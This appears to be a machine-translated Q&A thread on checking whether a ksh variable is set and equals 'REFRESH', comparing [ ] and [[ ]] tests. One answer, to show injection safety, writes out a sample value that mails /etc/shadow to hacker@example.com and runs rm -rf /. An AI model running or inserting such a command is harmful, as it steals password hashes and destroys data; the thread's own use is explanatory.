Проверка переменной установлена ​​и значение в кш - PullRequest
3 голосов
/ 09 января 2012

У меня есть скрипт, который принимает пользовательский ввод, опция REFRESH является необязательной. Мне нужно проверить, чтобы увидеть, существует ли $ REFRESH и равна ли он строке «REFRESH», если он затем запускает определенный блок кода.

Пользователь выполнит

./export_data.sh <user> <type> [REFRESH]

Если бы я делал это в PHP, я бы просто использовал функцию isset (), существует ли эквивалент в ksh?

Я попробовал следующее, но это не удалось, так как во втором тесте $ REFRESH не установлен:

if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
    echo "variable is set and the expected value";
    # do stuff
fi

Единственный способ, которым я могу думать, это сделать вложенным, если, но это кажется грязным:

if [ -n $REFRESH ]
then
    if [ $REFRESH == "REFRESH" ]
    then
        echo "variable is set and the expected value";
        # do stuff
fi

Есть ли лучший способ сделать это?

Ответы [ 4 ]

7 голосов
/ 09 января 2012
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...

Это заменяет unset, если в $REFRESH нет значения или если это пустая строка. В любом случае, это не то же самое, что "REFRESH", поэтому он ведет себя как требуется.

При тестировании переменных заключайте их в двойные кавычки; это спасает тоску На самом деле это будет означать, что вы можете просто написать:

if [ "$REFRESH" = "REFRESH" ]
then ...
4 голосов
/ 31 декабря 2013

Я бы прокомментировал ответ Джонатана, но я слишком новичок здесь, чтобы доверять таким вещам.

В любом случае, если вы пытаетесь спасти себя от страха в ksh, никогда не используйте наследиеОболочка Борна [].Вместо этого используйте [[]].

if [[ $REFRESH == REFRESH ]]; then

Это всегда будет определять, как вы хотите.Даже если что-то из перечисленного произошло непосредственно перед оператором if.

REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`;  sleep 5; rm -rf /`'

Следует обратить внимание на правую часть в том случае, если она является переменной или строкой, которую можно оценить для вещей.кроме простого сравнения строк.Рассмотрим это:

$ val='@(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$

Здесь мы видим, что цитирование RHS более важно, чем цитирование LHS при использовании [[]].Кроме того, это демонстрирует, что [[]] позволяет более мощные совпадения, используя шаблоны и списки шаблонов.

1 голос
/ 10 января 2012

Ответ на этот конкретный вопрос:

Если бы я делал это в PHP, я бы просто использовал функцию isset (), существует ли эквивалент в ksh?

if [ "${REFRESH:-unset}" != unset ]
0 голосов
/ 03 января 2014

Кстати, на мой взгляд, лучший (потому что самый простой) способ проверить, установлена ​​ли переменная или нет, это:

if [ "$PIPPO" ] ; then  
   echo "Set"  
fi

ИЛИ

if [ ! "$PIPPO" ] ; then  
   echo "Not Set"  
fi
...